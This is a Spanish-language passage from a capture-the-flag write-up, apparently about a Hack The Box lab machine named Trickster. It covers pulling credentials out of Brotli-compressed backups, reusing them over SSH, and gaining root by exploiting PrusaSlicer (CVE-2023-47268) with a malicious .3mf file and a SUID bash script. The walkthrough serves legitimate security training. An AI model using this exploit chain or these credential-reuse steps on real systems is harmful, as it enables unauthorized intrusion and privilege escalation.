-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Y descargamos los archivos en la máquina víctima con wget:

james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830194841.zip -O /tmp/backup_1.zip -q

james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830202524.zip -O /tmp/backup_2.zip -q

Descomprimimos los archivos:

james@trickster:/tmp$ mkdir backup_1

james@trickster:/tmp$ mv backup_1.zip backup_1

james@trickster:/tmp$ cd !$
cd backup_1

james@trickster:/tmp/backup_1$ unzip backup_1

Archive:  backup_1.zip
   creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
 extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
 extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
  inflating: secret.txt
  inflating: url-list.txt
  inflating: url-list-with-tags.txt
  inflating: url-watches.json

Tenemos archivos con extensión .txt.br. Tratando de leerlos muestra caracteres ilegibles.

Buscando qué es la extensión .txt.br tenemos:

Información
A BR file is a compressed web file generated by applying the open source data compression algorithm, Brotli. It is used to store webpage assets such as stylesheets (CSS), images (SVG), XML, and scripting files (JavaScript). Modern day websites, such as Chrome and Firefox, use BR files to reduce the page loading time, resulting in better user experience.
En corto, es un archivo utilizado por navegadores de internet para comprimir y leer archivos de manera más óptima.

Pasamos todos los archivos .txt.br encontrados en los archivos de respaldo a nuestra máquina de atacantes. Para leer estos archivos, necesitamos instalar Brotli en nuestra máquina de atacante (ejecutando sudo apt install brotli para Kali). Ya instalado, extraemos su contenido:

❯ brotli -d ba1fe8fcfb743ba16a136d805c38328f.txt.br

❯ brotli -d dd25d6c8b666e21ac6e596faa4d4a93d.txt.br

❯ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br

❯ ls -la

total 172
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Nov  9 04:32 .
drwxrwxr-x 4 gunzf0x gunzf0x  4096 Nov  9 04:32 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 96065 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 28498 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 17676 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  1679 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 11866 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  2605 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt.br

Uno de los archivos extraídos muestra contenido interesante:

❯ cat f04f0732f120c0cc84a993ad99decb2c.txt

<SNIP>
                'database_name' => 'prestashop' ,
                'database_user' => 'adam' ,
                'database_password' => 'adam_admin992' ,
                'database_prefix' => 'ps_'
<SNIP>

adam era otro usuario presente en la máquina víctima.

Revisamos si esta contraseña funciona para adam utilizando nuevamente NetExec:

❯ nxc ssh 10.10.11.34 -u 'adam' -p 'adam_admin992'

SSH         10.10.11.34     22     10.10.11.34      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.34     22     10.10.11.34      [+] adam:adam_admin992  Linux - Shell access!

Funciona. Nos logueamos así a través de SSH:

❯ sshpass -p 'adam_admin992' ssh -o stricthostkeychecking=no adam@10.10.11.34

adam@trickster:~$

Chequeamos qué es lo que puede correr este nuevo usuario con sudo:

adam@trickster:~$ sudo -l

Matching Defaults entries for adam on trickster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer

Podemos ejecutar PrusaSlicer con sudo.

Información
PrusaSlicer is the slicing software for Prusa 3D printers. It essentially ‘slices’ a 3D object into thin layers and a set of instructions which the 3D printer can then follow to print out your model.

Buscando, encontramos una vulnerabilidad catalogada como CVE-2023-47268 la cual permite ejecución de comandos para PrusaSlicer. El único problema yace en que necesitamos instalar PrusaSlicer en nuestra máquina de atacantes tal cual es explica en este exploit de exploit-db para crear archivos maliciosos (con extensión .3mf).

Como alternativa, encontramos este repositorio de Github el cual ejecutará un script llamado /tmp/exploit.sh (con ese path absoluto). De manera que descargamos el archivo evil.3mf dado en el repositorio mencionado, lo pasamos a la máquina víctima y creamos un script malicioso llamado /tmp/exploit.sh ejecutando:

adam@trickster:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh

adam@trickster:~$ chmod +x /tmp/exploit.sh

Recordando asignarle permisos de ejecución.

Esto crea un simple script en Bash el cual crea un copia del binario de bash y, a aquella copia, le asigna permisos SUID.

Ejecutamos el payload descargado (archivo .3mf) con la flag -s en PrusaSlicer para cargarlo:

adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer -s /tmp/evil.3mf

10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:

EXPLOIT
Low bed adhesion

Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to /tmp/EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Slicing result exported to /tmp/EXPLOIT_0.3mm_ABS_MK4_6m.gcode

Revisando el directorio /tmp nuestro archivo malicoso ha sido creado:

adam@trickster:~$ ls -la /tmp

total 2140
drwxrwxrwt 19 root   root      4096 Nov  9 08:04 .
drwxr-xr-x 20 root   root      4096 Sep 13 12:24 ..
drwxrwxr-x  2 james  james     4096 Aug 31 08:50 b4a8b52d-651b-44bc-bbc6-f9e8c6590103
drwxrwxr-x  3 james  james     4096 Nov  9 07:18 backup_1
drwxrwxr-x  4 james  james     4096 Nov  9 07:18 backup_2
<SNIP>
-rwsr-xr-x  1 root   root   1396520 Nov  9 08:04 gunzf0x
<SNIP>

Usamos este archivo para convertirnos en el usuario root:

adam@trickster:~$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking.